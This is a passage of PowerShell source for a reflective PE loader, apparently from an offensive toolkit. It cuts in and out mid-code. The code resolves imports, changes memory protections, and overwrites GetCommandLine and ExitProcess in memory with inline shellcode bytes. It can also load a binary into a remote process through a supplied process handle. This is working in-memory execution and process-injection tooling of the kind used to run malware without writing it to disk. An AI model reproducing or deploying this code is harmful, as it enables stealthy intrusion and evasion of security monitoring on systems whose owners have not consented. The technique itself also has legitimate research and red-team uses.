[System.Runtime.InteropServices.Marshal]::PtrToStructure($ImportDescriptorPtr, [Type]$Win32Types.IMAGE_IMPORT_DESCRIPTOR)\n\n                #If the structure is null, it signals that this is the end of the array\n                if ($ImportDescriptor.Characteristics -eq 0 `\n                        -and $ImportDescriptor.FirstThunk -eq 0 `\n                        -and $ImportDescriptor.ForwarderChain -eq 0 `\n                        -and $ImportDescriptor.Name -eq 0 `\n                        -and $ImportDescriptor.TimeDateStamp -eq 0)\n                {\n                    Write-Verbose \"Done importing DLL imports\"\n                    break\n                }\n\n                $ImportDllHandle = [IntPtr]::Zero\n                $ImportDllPathPtr = (Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$ImportDescriptor.Name))\n                $ImportDllPath = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($ImportDllPathPtr)\n\n                if ($RemoteLoading -eq $true)\n                {\n                    $ImportDllHandle = Import-DllInRemoteProcess -RemoteProcHandle $RemoteProcHandle -ImportDllPathPtr $ImportDllPathPtr\n                }\n                else\n                {\n                    $ImportDllHandle = $Win32Functions.LoadLibrary.Invoke($ImportDllPath)\n                }\n\n                if (($ImportDllHandle -eq $null) -or ($ImportDllHandle -eq [IntPtr]::Zero))\n                {\n                    throw \"Error importing DLL, DLLName: $ImportDllPath\"\n                }\n\n                #Get the first thunk, then loop through all of them\n                [IntPtr]$ThunkRef = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($ImportDescriptor.FirstThunk)\n                [IntPtr]$OriginalThunkRef = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($ImportDescriptor.Characteristics) #Characteristics is overloaded with OriginalFirstThunk\n                [IntPtr]$OriginalThunkRefVal = [System.Runtime.InteropServices.Marshal]::PtrToStructure($OriginalThunkRef, [Type][IntPtr])\n\n                while ($OriginalThunkRefVal -ne [IntPtr]::Zero)\n                {\n                    $LoadByOrdinal = $false\n                    [IntPtr]$ProcedureNamePtr = [IntPtr]::Zero\n                    #Compare thunkRefVal to IMAGE_ORDINAL_FLAG, which is defined as 0x80000000 or 0x8000000000000000 depending on 32bit or 64bit\n                    #   If the top bit is set on an int, it will be negative, so instead of worrying about casting this to uint\n                    #   and doing the comparison, just see if it is less than 0\n                    [IntPtr]$NewThunkRef = [IntPtr]::Zero\n                    if([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) -eq 4 -and [Int32]$OriginalThunkRefVal -lt 0)\n                    {\n                        [IntPtr]$ProcedureNamePtr = [IntPtr]$OriginalThunkRefVal -band 0xffff #This is actually a lookup by ordinal\n                        $LoadByOrdinal = $true\n                    }\n                    elseif([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) -eq 8 -and [Int64]$OriginalThunkRefVal -lt 0)\n                    {\n                        [IntPtr]$ProcedureNamePtr = [Int64]$OriginalThunkRefVal -band 0xffff #This is actually a lookup by ordinal\n                        $LoadByOrdinal = $true\n                    }\n                    else\n                    {\n                        [IntPtr]$StringAddr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($OriginalThunkRefVal)\n                        $StringAddr = Add-SignedIntAsUnsigned $StringAddr ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][UInt16]))\n                        $ProcedureName = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($StringAddr)\n                        $ProcedureNamePtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalAnsi($ProcedureName)\n                    }\n\n                    if ($RemoteLoading -eq $true)\n                    {\n                        [IntPtr]$NewThunkRef = Get-RemoteProcAddress -RemoteProcHandle $RemoteProcHandle -RemoteDllHandle $ImportDllHandle -FunctionNamePtr $ProcedureNamePtr -LoadByOrdinal $LoadByOrdinal\n                    }\n                    else\n                    {\n                        [IntPtr]$NewThunkRef = $Win32Functions.GetProcAddressIntPtr.Invoke($ImportDllHandle, $ProcedureNamePtr)\n                    }\n\n                    if ($NewThunkRef -eq $null -or $NewThunkRef -eq [IntPtr]::Zero)\n                    {\n                        if ($LoadByOrdinal)\n                        {\n                            Throw \"New function reference is null, this is almost certainly a bug in this script. Function Ordinal: $ProcedureNamePtr. Dll: $ImportDllPath\"\n                        }\n                        else\n                        {\n                            Throw \"New function reference is null, this is almost certainly a bug in this script. Function: $ProcedureName. Dll: $ImportDllPath\"\n                        }\n                    }\n\n                    [System.Runtime.InteropServices.Marshal]::StructureToPtr($NewThunkRef, $ThunkRef, $false)\n\n                    $ThunkRef = Add-SignedIntAsUnsigned ([Int64]$ThunkRef) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]))\n                    [IntPtr]$OriginalThunkRef = Add-SignedIntAsUnsigned ([Int64]$OriginalThunkRef) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]))\n                    [IntPtr]$OriginalThunkRefVal = [System.Runtime.InteropServices.Marshal]::PtrToStructure($OriginalThunkRef, [Type][IntPtr])\n\n                    #Cleanup\n                    #If loading by ordinal, ProcedureNamePtr is the ordinal value and not actually a pointer to a buffer that needs to be freed\n                    if ((-not $LoadByOrdinal) -and ($ProcedureNamePtr -ne [IntPtr]::Zero))\n                    {\n                        [System.Runtime.InteropServices.Marshal]::FreeHGlobal($ProcedureNamePtr)\n                        $ProcedureNamePtr = [IntPtr]::Zero\n                    }\n                }\n\n                $ImportDescriptorPtr = Add-SignedIntAsUnsigned ($ImportDescriptorPtr) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_IMPORT_DESCRIPTOR))\n            }\n        }\n    }\n\n    Function Get-VirtualProtectValue\n    {\n        Param(\n        [Parameter(Position = 0, Mandatory = $true)]\n        [UInt32]\n        $SectionCharacteristics\n        )\n\n        $ProtectionFlag = 0x0\n        if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_EXECUTE) -gt 0)\n        {\n            if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_READ) -gt 0)\n            {\n                if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_WRITE) -gt 0)\n                {\n                    $ProtectionFlag = $Win32Constants.PAGE_EXECUTE_READWRITE\n                }\n                else\n                {\n                    $ProtectionFlag = $Win32Constants.PAGE_EXECUTE_READ\n                }\n            }\n            else\n            {\n                if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_WRITE) -gt 0)\n                {\n                    $ProtectionFlag = $Win32Constants.PAGE_EXECUTE_WRITECOPY\n                }\n                else\n                {\n                    $ProtectionFlag = $Win32Constants.PAGE_EXECUTE\n                }\n            }\n        }\n        else\n        {\n            if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_READ) -gt 0)\n            {\n                if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_WRITE) -gt 0)\n                {\n                    $ProtectionFlag = $Win32Constants.PAGE_READWRITE\n                }\n                else\n                {\n                    $ProtectionFlag = $Win32Constants.PAGE_READONLY\n                }\n            }\n            else\n            {\n                if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_WRITE) -gt 0)\n                {\n                    $ProtectionFlag = $Win32Constants.PAGE_WRITECOPY\n                }\n                else\n                {\n                    $ProtectionFlag = $Win32Constants.PAGE_NOACCESS\n                }\n            }\n        }\n\n        if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_NOT_CACHED) -gt 0)\n        {\n            $ProtectionFlag = $ProtectionFlag -bor $Win32Constants.PAGE_NOCACHE\n        }\n\n        return $ProtectionFlag\n    }\n\n    Function Update-MemoryProtectionFlags\n    {\n        Param(\n        [Parameter(Position = 0, Mandatory = $true)]\n        [System.Object]\n        $PEInfo,\n\n        [Parameter(Position = 1, Mandatory = $true)]\n        [System.Object]\n        $Win32Functions,\n\n        [Parameter(Position = 2, Mandatory = $true)]\n        [System.Object]\n        $Win32Constants,\n\n        [Parameter(Position = 3, Mandatory = $true)]\n        [System.Object]\n        $Win32Types\n        )\n\n        for( $i = 0; $i -lt $PEInfo.IMAGE_NT_HEADERS.FileHeader.NumberOfSections; $i++)\n        {\n            [IntPtr]$SectionHeaderPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.SectionHeaderPtr) ($i * [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_SECTION_HEADER)))\n            $SectionHeader = [System.Runtime.InteropServices.Marshal]::PtrToStructure($SectionHeaderPtr, [Type]$Win32Types.IMAGE_SECTION_HEADER)\n            [IntPtr]$SectionPtr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($SectionHeader.VirtualAddress)\n\n            [UInt32]$ProtectFlag = Get-VirtualProtectValue $SectionHeader.Characteristics\n            [UInt32]$SectionSize = $SectionHeader.VirtualSize\n\n            [UInt32]$OldProtectFlag = 0\n            Test-MemoryRangeValid -DebugString \"Update-MemoryProtectionFlags::VirtualProtect\" -PEInfo $PEInfo -StartAddress $SectionPtr -Size $SectionSize | Out-Null\n            $Success = $Win32Functions.VirtualProtect.Invoke($SectionPtr, $SectionSize, $ProtectFlag, [Ref]$OldProtectFlag)\n            if ($Success -eq $false)\n            {\n                Throw \"Unable to change memory protection\"\n            }\n        }\n    }\n\n    #This function overwrites GetCommandLine and ExitThread which are needed to reflectively load an EXE\n    #Returns an object with addresses to copies of the bytes that were overwritten (and the count)\n    Function Update-ExeFunctions\n    {\n        Param(\n        [Parameter(Position = 0, Mandatory = $true)]\n        [System.Object]\n        $PEInfo,\n\n        [Parameter(Position = 1, Mandatory = $true)]\n        [System.Object]\n        $Win32Functions,\n\n        [Parameter(Position = 2, Mandatory = $true)]\n        [System.Object]\n        $Win32Constants,\n\n        [Parameter(Position = 3, Mandatory = $true)]\n        [String]\n        $ExeArguments,\n\n        [Parameter(Position = 4, Mandatory = $true)]\n        [IntPtr]\n        $ExeDoneBytePtr\n        )\n\n        #This will be an array of arrays. The inner array will consist of: @($DestAddr, $SourceAddr, $ByteCount). This is used to return memory to its original state.\n        $ReturnArray = @()\n\n        $PtrSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr])\n        [UInt32]$OldProtectFlag = 0\n\n        [IntPtr]$Kernel32Handle = $Win32Functions.GetModuleHandle.Invoke(\"Kernel32.dll\")\n        if ($Kernel32Handle -eq [IntPtr]::Zero)\n        {\n            throw \"Kernel32 handle null\"\n        }\n\n        [IntPtr]$KernelBaseHandle = $Win32Functions.GetModuleHandle.Invoke(\"KernelBase.dll\")\n        if ($KernelBaseHandle -eq [IntPtr]::Zero)\n        {\n            throw \"KernelBase handle null\"\n        }\n\n        #################################################\n        #First overwrite the GetCommandLine() function. This is the function that is called by a new process to get the command line args used to start it.\n        #   We overwrite it with shellcode to return a pointer to the string ExeArguments, allowing us to pass the exe any args we want.\n        $CmdLineWArgsPtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalUni($ExeArguments)\n        $CmdLineAArgsPtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalAnsi($ExeArguments)\n\n        [IntPtr]$GetCommandLineAAddr = $Win32Functions.GetProcAddress.Invoke($KernelBaseHandle, \"GetCommandLineA\")\n        [IntPtr]$GetCommandLineWAddr = $Win32Functions.GetProcAddress.Invoke($KernelBaseHandle, \"GetCommandLineW\")\n\n        if ($GetCommandLineAAddr -eq [IntPtr]::Zero -or $GetCommandLineWAddr -eq [IntPtr]::Zero)\n        {\n            throw \"GetCommandLine ptr null. GetCommandLineA: $(Get-Hex $GetCommandLineAAddr). GetCommandLineW: $(Get-Hex $GetCommandLineWAddr)\"\n        }\n\n        #Prepare the shellcode\n        [Byte[]]$Shellcode1 = @()\n        if ($PtrSize -eq 8)\n        {\n            $Shellcode1 += 0x48 #64bit shellcode has the 0x48 before the 0xb8\n        }\n        $Shellcode1 += 0xb8\n\n        [Byte[]]$Shellcode2 = @(0xc3)\n        $TotalSize = $Shellcode1.Length + $PtrSize + $Shellcode2.Length\n\n        #Make copy of GetCommandLineA and GetCommandLineW\n        $GetCommandLineAOrigBytesPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TotalSize)\n        $GetCommandLineWOrigBytesPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TotalSize)\n        $Win32Functions.memcpy.Invoke($GetCommandLineAOrigBytesPtr, $GetCommandLineAAddr, [UInt64]$TotalSize) | Out-Null\n        $Win32Functions.memcpy.Invoke($GetCommandLineWOrigBytesPtr, $GetCommandLineWAddr, [UInt64]$TotalSize) | Out-Null\n        $ReturnArray += ,($GetCommandLineAAddr, $GetCommandLineAOrigBytesPtr, $TotalSize)\n        $ReturnArray += ,($GetCommandLineWAddr, $GetCommandLineWOrigBytesPtr, $TotalSize)\n\n        #Overwrite GetCommandLineA\n        [UInt32]$OldProtectFlag = 0\n        $Success = $Win32Functions.VirtualProtect.Invoke($GetCommandLineAAddr, [UInt32]$TotalSize, [UInt32]($Win32Constants.PAGE_EXECUTE_READWRITE), [Ref]$OldProtectFlag)\n        if ($Success = $false)\n        {\n            throw \"Call to VirtualProtect failed\"\n        }\n\n        $GetCommandLineAAddrTemp = $GetCommandLineAAddr\n        Write-BytesToMemory -Bytes $Shellcode1 -MemoryAddress $GetCommandLineAAddrTemp\n        $GetCommandLineAAddrTemp = Add-SignedIntAsUnsigned $GetCommandLineAAddrTemp ($Shellcode1.Length)\n        [System.Runtime.InteropServices.Marshal]::StructureToPtr($CmdLineAArgsPtr, $GetCommandLineAAddrTemp, $false)\n        $GetCommandLineAAddrTemp = Add-SignedIntAsUnsigned $GetCommandLineAAddrTemp $PtrSize\n        Write-BytesToMemory -Bytes $Shellcode2 -MemoryAddress $GetCommandLineAAddrTemp\n\n        $Win32Functions.VirtualProtect.Invoke($GetCommandLineAAddr, [UInt32]$TotalSize, [UInt32]$OldProtectFlag, [Ref]$OldProtectFlag) | Out-Null\n\n\n        #Overwrite GetCommandLineW\n        [UInt32]$OldProtectFlag = 0\n        $Success = $Win32Functions.VirtualProtect.Invoke($GetCommandLineWAddr, [UInt32]$TotalSize, [UInt32]($Win32Constants.PAGE_EXECUTE_READWRITE), [Ref]$OldProtectFlag)\n        if ($Success = $false)\n        {\n            throw \"Call to VirtualProtect failed\"\n        }\n\n        $GetCommandLineWAddrTemp = $GetCommandLineWAddr\n        Write-BytesToMemory -Bytes $Shellcode1 -MemoryAddress $GetCommandLineWAddrTemp\n        $GetCommandLineWAddrTemp = Add-SignedIntAsUnsigned $GetCommandLineWAddrTemp ($Shellcode1.Length)\n        [System.Runtime.InteropServices.Marshal]::StructureToPtr($CmdLineWArgsPtr, $GetCommandLineWAddrTemp, $false)\n        $GetCommandLineWAddrTemp = Add-SignedIntAsUnsigned $GetCommandLineWAddrTemp $PtrSize\n        Write-BytesToMemory -Bytes $Shellcode2 -MemoryAddress $GetCommandLineWAddrTemp\n\n        $Win32Functions.VirtualProtect.Invoke($GetCommandLineWAddr, [UInt32]$TotalSize, [UInt32]$OldProtectFlag, [Ref]$OldProtectFlag) | Out-Null\n        #################################################\n\n        #################################################\n        #For C++ stuff that is compiled with visual studio as \"multithreaded DLL\", the above method of overwriting GetCommandLine doesn't work.\n        #   I don't know why exactly.. But the msvcr DLL that a \"DLL compiled executable\" imports has an export called _acmdln and _wcmdln.\n        #   It appears to call GetCommandLine and store the result in this var. Then when you call __wgetcmdln it parses and returns the\n        #   argv and argc values stored in these variables. So the easy thing to do is just overwrite the variable since they are exported.\n        $DllList = @(\"msvcr70d.dll\", \"msvcr71d.dll\", \"msvcr80d.dll\", \"msvcr90d.dll\", \"msvcr100d.dll\", \"msvcr110d.dll\", \"msvcr70.dll\" `\n            , \"msvcr71.dll\", \"msvcr80.dll\", \"msvcr90.dll\", \"msvcr100.dll\", \"msvcr110.dll\")\n\n        foreach ($Dll in $DllList)\n        {\n            [IntPtr]$DllHandle = $Win32Functions.GetModuleHandle.Invoke($Dll)\n            if ($DllHandle -ne [IntPtr]::Zero)\n            {\n                [IntPtr]$WCmdLnAddr = $Win32Functions.GetProcAddress.Invoke($DllHandle, \"_wcmdln\")\n                [IntPtr]$ACmdLnAddr = $Win32Functions.GetProcAddress.Invoke($DllHandle, \"_acmdln\")\n                if ($WCmdLnAddr -eq [IntPtr]::Zero -or $ACmdLnAddr -eq [IntPtr]::Zero)\n                {\n                    \"Error, couldn't find _wcmdln or _acmdln\"\n                }\n\n                $NewACmdLnPtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalAnsi($ExeArguments)\n                $NewWCmdLnPtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalUni($ExeArguments)\n\n                #Make a copy of the original char* and wchar_t* so these variables can be returned back to their original state\n                $OrigACmdLnPtr = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ACmdLnAddr, [Type][IntPtr])\n                $OrigWCmdLnPtr = [System.Runtime.InteropServices.Marshal]::PtrToStructure($WCmdLnAddr, [Type][IntPtr])\n                $OrigACmdLnPtrStorage = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PtrSize)\n                $OrigWCmdLnPtrStorage = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PtrSize)\n                [System.Runtime.InteropServices.Marshal]::StructureToPtr($OrigACmdLnPtr, $OrigACmdLnPtrStorage, $false)\n                [System.Runtime.InteropServices.Marshal]::StructureToPtr($OrigWCmdLnPtr, $OrigWCmdLnPtrStorage, $false)\n                $ReturnArray += ,($ACmdLnAddr, $OrigACmdLnPtrStorage, $PtrSize)\n                $ReturnArray += ,($WCmdLnAddr, $OrigWCmdLnPtrStorage, $PtrSize)\n\n                $Success = $Win32Functions.VirtualProtect.Invoke($ACmdLnAddr, [UInt32]$PtrSize, [UInt32]($Win32Constants.PAGE_EXECUTE_READWRITE), [Ref]$OldProtectFlag)\n                if ($Success = $false)\n                {\n                    throw \"Call to VirtualProtect failed\"\n                }\n                [System.Runtime.InteropServices.Marshal]::StructureToPtr($NewACmdLnPtr, $ACmdLnAddr, $false)\n                $Win32Functions.VirtualProtect.Invoke($ACmdLnAddr, [UInt32]$PtrSize, [UInt32]($OldProtectFlag), [Ref]$OldProtectFlag) | Out-Null\n\n                $Success = $Win32Functions.VirtualProtect.Invoke($WCmdLnAddr, [UInt32]$PtrSize, [UInt32]($Win32Constants.PAGE_EXECUTE_READWRITE), [Ref]$OldProtectFlag)\n                if ($Success = $false)\n                {\n                    throw \"Call to VirtualProtect failed\"\n                }\n                [System.Runtime.InteropServices.Marshal]::StructureToPtr($NewWCmdLnPtr, $WCmdLnAddr, $false)\n                $Win32Functions.VirtualProtect.Invoke($WCmdLnAddr, [UInt32]$PtrSize, [UInt32]($OldProtectFlag), [Ref]$OldProtectFlag) | Out-Null\n            }\n        }\n        #################################################\n\n        #################################################\n        #Next overwrite CorExitProcess and ExitProcess to instead ExitThread. This way the entire Powershell process doesn't die when the EXE exits.\n\n        $ReturnArray = @()\n        $ExitFunctions = @() #Array of functions to overwrite so the thread doesn't exit the process\n\n        #CorExitProcess (compiled in to visual studio c++)\n        [IntPtr]$MscoreeHandle = $Win32Functions.GetModuleHandle.Invoke(\"mscoree.dll\")\n        if ($MscoreeHandle -eq [IntPtr]::Zero)\n        {\n            throw \"mscoree handle null\"\n        }\n        [IntPtr]$CorExitProcessAddr = $Win32Functions.GetProcAddress.Invoke($MscoreeHandle, \"CorExitProcess\")\n        if ($CorExitProcessAddr -eq [IntPtr]::Zero)\n        {\n            Throw \"CorExitProcess address not found\"\n        }\n        $ExitFunctions += $CorExitProcessAddr\n\n        #ExitProcess (what non-managed programs use)\n        [IntPtr]$ExitProcessAddr = $Win32Functions.GetProcAddress.Invoke($Kernel32Handle, \"ExitProcess\")\n        if ($ExitProcessAddr -eq [IntPtr]::Zero)\n        {\n            Throw \"ExitProcess address not found\"\n        }\n        $ExitFunctions += $ExitProcessAddr\n\n        [UInt32]$OldProtectFlag = 0\n        foreach ($ProcExitFunctionAddr in $ExitFunctions)\n        {\n            $ProcExitFunctionAddrTmp = $ProcExitFunctionAddr\n            #The following is the shellcode (Shellcode: ExitThread.asm):\n            #32bit shellcode\n            [Byte[]]$Shellcode1 = @(0xbb)\n            [Byte[]]$Shellcode2 = @(0xc6, 0x03, 0x01, 0x83, 0xec, 0x20, 0x83, 0xe4, 0xc0, 0xbb)\n            #64bit shellcode (Shellcode: ExitThread.asm)\n            if ($PtrSize -eq 8)\n            {\n                [Byte[]]$Shellcode1 = @(0x48, 0xbb)\n                [Byte[]]$Shellcode2 = @(0xc6, 0x03, 0x01, 0x48, 0x83, 0xec, 0x20, 0x66, 0x83, 0xe4, 0xc0, 0x48, 0xbb)\n            }\n            [Byte[]]$Shellcode3 = @(0xff, 0xd3)\n            $TotalSize = $Shellcode1.Length + $PtrSize + $Shellcode2.Length + $PtrSize + $Shellcode3.Length\n\n            [IntPtr]$ExitThreadAddr = $Win32Functions.GetProcAddress.Invoke($Kernel32Handle, \"ExitThread\")\n            if ($ExitThreadAddr -eq [IntPtr]::Zero)\n            {\n                Throw \"ExitThread address not found\"\n            }\n\n            $Success = $Win32Functions.VirtualProtect.Invoke($ProcExitFunctionAddr, [UInt32]$TotalSize, [UInt32]$Win32Constants.PAGE_EXECUTE_READWRITE, [Ref]$OldProtectFlag)\n            if ($Success -eq $false)\n            {\n                Throw \"Call to VirtualProtect failed\"\n            }\n\n            #Make copy of original ExitProcess bytes\n            $ExitProcessOrigBytesPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TotalSize)\n            $Win32Functions.memcpy.Invoke($ExitProcessOrigBytesPtr, $ProcExitFunctionAddr, [UInt64]$TotalSize) | Out-Null\n            $ReturnArray += ,($ProcExitFunctionAddr, $ExitProcessOrigBytesPtr, $TotalSize)\n\n            #Write the ExitThread shellcode to memory. This shellcode will write 0x01 to ExeDoneBytePtr address (so PS knows the EXE is done), then\n            #   call ExitThread\n            Write-BytesToMemory -Bytes $Shellcode1 -MemoryAddress $ProcExitFunctionAddrTmp\n            $ProcExitFunctionAddrTmp = Add-SignedIntAsUnsigned $ProcExitFunctionAddrTmp ($Shellcode1.Length)\n            [System.Runtime.InteropServices.Marshal]::StructureToPtr($ExeDoneBytePtr, $ProcExitFunctionAddrTmp, $false)\n            $ProcExitFunctionAddrTmp = Add-SignedIntAsUnsigned $ProcExitFunctionAddrTmp $PtrSize\n            Write-BytesToMemory -Bytes $Shellcode2 -MemoryAddress $ProcExitFunctionAddrTmp\n            $ProcExitFunctionAddrTmp = Add-SignedIntAsUnsigned $ProcExitFunctionAddrTmp ($Shellcode2.Length)\n            [System.Runtime.InteropServices.Marshal]::StructureToPtr($ExitThreadAddr, $ProcExitFunctionAddrTmp, $false)\n            $ProcExitFunctionAddrTmp = Add-SignedIntAsUnsigned $ProcExitFunctionAddrTmp $PtrSize\n            Write-BytesToMemory -Bytes $Shellcode3 -MemoryAddress $ProcExitFunctionAddrTmp\n\n            $Win32Functions.VirtualProtect.Invoke($ProcExitFunctionAddr, [UInt32]$TotalSize, [UInt32]$OldProtectFlag, [Ref]$OldProtectFlag) | Out-Null\n        }\n        #################################################\n\n        Write-Output $ReturnArray\n    }\n\n    #This function takes an array of arrays, the inner array of format @($DestAddr, $SourceAddr, $Count)\n    #   It copies Count bytes from Source to Destination.\n    Function Copy-ArrayOfMemAddresses\n    {\n        Param(\n        [Parameter(Position = 0, Mandatory = $true)]\n        [Array[]]\n        $CopyInfo,\n\n        [Parameter(Position = 1, Mandatory = $true)]\n        [System.Object]\n        $Win32Functions,\n\n        [Parameter(Position = 2, Mandatory = $true)]\n        [System.Object]\n        $Win32Constants\n        )\n\n        [UInt32]$OldProtectFlag = 0\n        foreach ($Info in $CopyInfo)\n        {\n            $Success = $Win32Functions.VirtualProtect.Invoke($Info[0], [UInt32]$Info[2], [UInt32]$Win32Constants.PAGE_EXECUTE_READWRITE, [Ref]$OldProtectFlag)\n            if ($Success -eq $false)\n            {\n                Throw \"Call to VirtualProtect failed\"\n            }\n\n            $Win32Functions.memcpy.Invoke($Info[0], $Info[1], [UInt64]$Info[2]) | Out-Null\n\n            $Win32Functions.VirtualProtect.Invoke($Info[0], [UInt32]$Info[2], [UInt32]$OldProtectFlag, [Ref]$OldProtectFlag) | Out-Null\n        }\n    }\n\n\n    #####################################\n    ##########    FUNCTIONS   ###########\n    #####################################\n    Function Get-MemoryProcAddress\n    {\n        Param(\n        [Parameter(Position = 0, Mandatory = $true)]\n        [IntPtr]\n        $PEHandle,\n\n        [Parameter(Position = 1, Mandatory = $true)]\n        [String]\n        $FunctionName\n        )\n\n        $Win32Types = Get-Win32Types\n        $Win32Constants = Get-Win32Constants\n        $PEInfo = Get-PEDetailedInfo -PEHandle $PEHandle -Win32Types $Win32Types -Win32Constants $Win32Constants\n\n        #Get the export table\n        if ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ExportTable.Size -eq 0)\n        {\n            return [IntPtr]::Zero\n        }\n        $ExportTablePtr = Add-SignedIntAsUnsigned ($PEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ExportTable.VirtualAddress)\n        $ExportTable = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ExportTablePtr, [Type]$Win32Types.IMAGE_EXPORT_DIRECTORY)\n\n        for ($i = 0; $i -lt $ExportTable.NumberOfNames; $i++)\n        {\n            #AddressOfNames is an array of pointers to strings of the names of the functions exported\n            $NameOffsetPtr = Add-SignedIntAsUnsigned ($PEHandle) ($ExportTable.AddressOfNames + ($i * [System.Runtime.InteropServices.Marshal]::SizeOf([Type][UInt32])))\n            $NamePtr = Add-SignedIntAsUnsigned ($PEHandle) ([System.Runtime.InteropServices.Marshal]::PtrToStructure($NameOffsetPtr, [Type][UInt32]))\n            $Name = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($NamePtr)\n\n            if ($Name -ceq $FunctionName)\n            {\n                #AddressOfNameOrdinals is a table which contains points to a WORD which is the index in to AddressOfFunctions\n                #    which contains the offset of the function in to the DLL\n                $OrdinalPtr = Add-SignedIntAsUnsigned ($PEHandle) ($ExportTable.AddressOfNameOrdinals + ($i * [System.Runtime.InteropServices.Marshal]::SizeOf([Type][UInt16])))\n                $FuncIndex = [System.Runtime.InteropServices.Marshal]::PtrToStructure($OrdinalPtr, [Type][UInt16])\n                $FuncOffsetAddr = Add-SignedIntAsUnsigned ($PEHandle) ($ExportTable.AddressOfFunctions + ($FuncIndex * [System.Runtime.InteropServices.Marshal]::SizeOf([Type][UInt32])))\n                $FuncOffset = [System.Runtime.InteropServices.Marshal]::PtrToStructure($FuncOffsetAddr, [Type][UInt32])\n                return Add-SignedIntAsUnsigned ($PEHandle) ($FuncOffset)\n            }\n        }\n\n        return [IntPtr]::Zero\n    }\n\n\n    Function Invoke-MemoryLoadLibrary\n    {\n        Param(\n        [Parameter( Position = 0, Mandatory = $true )]\n        [Byte[]]\n        $PEBytes,\n\n        [Parameter(Position = 1, Mandatory = $false)]\n        [String]\n        $ExeArgs,\n\n        [Parameter(Position = 2, Mandatory = $false)]\n        [IntPtr]\n        $RemoteProcHandle,\n\n        [Parameter(Position = 3)]\n        [Bool]\n        $ForceASLR = $false\n        )\n\n        $PtrSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr])\n\n        #Get Win32 constants and functions\n        $Win32Constants = Get-Win32Constants\n        $Win32Functions = Get-Win32Functions\n        $Win32Types = Get-Win32Types\n\n        $RemoteLoading = $false\n        if (($RemoteProcHandle -ne $null) -and ($RemoteProcHandle -ne [IntPtr]::Zero))\n        {\n            $RemoteLoading = $true\n        }\n\n        #Get basic PE information\n        Write-Verbose \"Getting basic PE information from the file\"\n        $PEInfo = Get-PEBasicInfo -PEBytes $PEBytes -Win32Types $Win32Types\n        $OriginalImageBase = $PEInfo.OriginalImageBase\n        $NXCompatible = $true\n        if (([Int] $PEInfo.DllCharacteristics -band $Win32Constants.IMAGE_DLLCHARACTERISTICS_NX_COMPAT) -ne $Win32Constants.IMAGE_DLLCHARACTERISTICS_NX_COMPAT)\n        {\n            Write-Warning \"PE is not compatible with DEP, might cause issues\" -WarningAction Continue\n            $NXCompatible = $false\n        }\n\n        #Verify that the PE and the current process are the same bits (32bit or 64bit)\n        $Process64Bit = $true\n        if ($RemoteLoading -eq $true)\n        {\n            $Kernel32Handle = $Win32Functions.GetModuleHandle.Invoke(\"kernel32.dll\")\n            $Result = $Win32Functions.GetProcAddress.Invoke($Kernel32Handle, \"IsWow64Process\")\n            if ($Result -eq [IntPtr]::Zero)\n            {\n                Throw \"Couldn't locate IsWow64Process function to determine if target process is 32bit or 64bit\"\n            }\n\n            [Bool]$Wow64Process = $false\n            $Success = $Win32Functions.IsWow64Process.Invoke($RemoteProcHandle, [Ref]$Wow64Process)\n            if ($Success -eq $false)\n            {\n                Throw \"Call to IsWow64Process failed\"\n            }\n\n            if (($Wow64Process -eq $true) -or (($Wow64Process -eq $false) -and ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) -eq 4)))\n            {\n                $Process64Bit = $false\n            }\n\n            #PowerShell needs to be same bit as the PE being loaded for IntPtr to work correctly\n            $PowerShell64Bit = $true\n            if ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) -ne 8)\n            {\n                $PowerShell64Bit = $false\n            }\n            if ($PowerShell64Bit -ne $Process64Bit)\n            {\n                throw \"PowerShell must be same architecture (x86/x64) as PE being loaded and remote process\"\n            }\n        }\n        else\n        {\n            if ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) -ne 8)\n            {\n                $Process64Bit = $false\n            }\n        }\n        if ($Process64Bit -ne $PEInfo.PE64Bit)\n        {\n            Throw \"PE platform doesn't match the architecture of the process it is being loaded in (32/64bit)\"\n        }\n\n        #Allocate memory and write the PE to memory. If the PE supports ASLR, allocate 